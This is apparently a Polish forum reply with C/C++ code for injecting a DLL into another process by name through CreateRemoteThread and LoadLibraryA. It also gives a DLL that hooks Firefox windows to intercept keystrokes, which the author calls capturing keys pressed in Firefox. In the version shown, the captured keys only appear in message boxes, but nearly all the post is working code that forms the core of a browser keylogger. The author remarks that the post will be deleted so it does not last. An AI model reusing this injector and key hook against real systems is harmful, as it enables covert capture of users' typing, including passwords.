fragment Twojego kodu na wstrzyknięcie:
bool InjectDLL(char *dll, char *processname)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,false,GetProcessID(processname));
if(hProcess != INVALID_HANDLE_VALUE)
{
LPVOID address = VirtualAllocEx(hProcess,NULL,strlen(dll),MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
if(WriteProcessMemory(hProcess,address,(LPCVOID)dll,strlen(dll),NULL) == 1)
{
HMODULE k32 = GetModuleHandle(L"Kernel32");
HANDLE tHandle = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)GetProcAddress(k32,"LoadLibraryA"),address,0,NULL);
WaitForSingleObject(tHandle,INFINITE);
DWORD dllAddress;
GetExitCodeThread(tHandle,&dllAddress);
CloseHandle(tHandle);
VirtualFreeEx(hProcess,address,0,MEM_RELEASE);
//GetThreadFromProcessID(GetProcessID(processname)); // <-- z tym wynocha w ogole
return true;
}
}
return false;
}
plik dll (dam ci kod mojego - przechwytuje nacisniete klawisze w firefoxie):
#include <windows.h>
#include <stdio.h>
#include <map>
#include <tlhelp32.h>
extern "C"
{
BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID);
}
typedef std::map<HWND, WNDPROC> TWindows;
TWindows windows;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_KEYUP)
{
char tekst[1000];
char wndclass[1024];
GetClassName(hWnd,wndclass,1024);
sprintf(tekst,"klasa=%s\nHWND=%d\nklawisz=%c\nVK/wParam=%d\nlParam=%08X",wndclass,(int)hWnd,(char)wParam,wParam,(unsigned int)lParam);
MessageBox(hWnd, tekst, "test", MB_OK);
}
TWindows::iterator f = windows.find(hWnd);
if (f!=windows.end())
return CallWindowProc(f->second,hWnd,message,wParam,lParam);
MessageBox(NULL, "Jesli ten komunikat sie wyswietla to znaczy ze cos spierdoliles!", "test", MB_OK);
return 0;
}
void ListThreads(unsigned int processID)
{
HANDLE hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, processID );
if(hProcessSnap == INVALID_HANDLE_VALUE)
return;
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(threadEntry);
if(!Thread32First(hProcessSnap,&threadEntry))
{
CloseHandle(hProcessSnap);
return;
}
if(processID == threadEntry.th32OwnerProcessID)
EnumThreadWindows(threadEntry.th32ThreadID,EnumThreadWndProc,NULL);
while(Thread32Next(hProcessSnap,&threadEntry))
{
if(processID == threadEntry.th32OwnerProcessID)
EnumThreadWindows(threadEntry.th32ThreadID,EnumThreadWndProc,NULL);
}
CloseHandle(hProcessSnap);
}
BOOL CALLBACK EnumThreadWndProc(HWND hwnd,LPARAM lParam)
{
char wndclass[100];
GetClassName(hwnd,wndclass,100);
if (strcmp(wndclass,"MozillaWindowClass")==0)
{
TWindows::iterator f = windows.find(hwnd);
if (f==windows.end())
windows[hwnd] = (WNDPROC)SetWindowLong((HWND)hwnd,GWL_WNDPROC,(LONG)WndProc);
}
EnumChildWindows(hwnd,EnumThreadWndProc,NULL);
return TRUE;
}
DWORD WINAPI MainThread(void* P)
{
ListThreads(GetCurrentProcessId());
/* jeśli będziesz chciał zrobić jakiegoś timera albo coś w ten deseń, to odkomentuj to
MSG msg;
BOOL ret;
while ((ret=GetMessage(&msg, NULL, NULL, NULL)))
{
if (ret!=-1)
DispatchMessage(&msg);
}
*/
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, MainThread, NULL, 0, NULL); // tutaj nie musi byc tego watku
break;
case DLL_PROCESS_DETACH:
//MessageBox(NULL, "zamykajacy sie firefox!", "test", MB_OK);
break;
}
return TRUE;
}
jutro usuwam ten post, żeby nie zostało dla potomnych. przemysl co robisz zle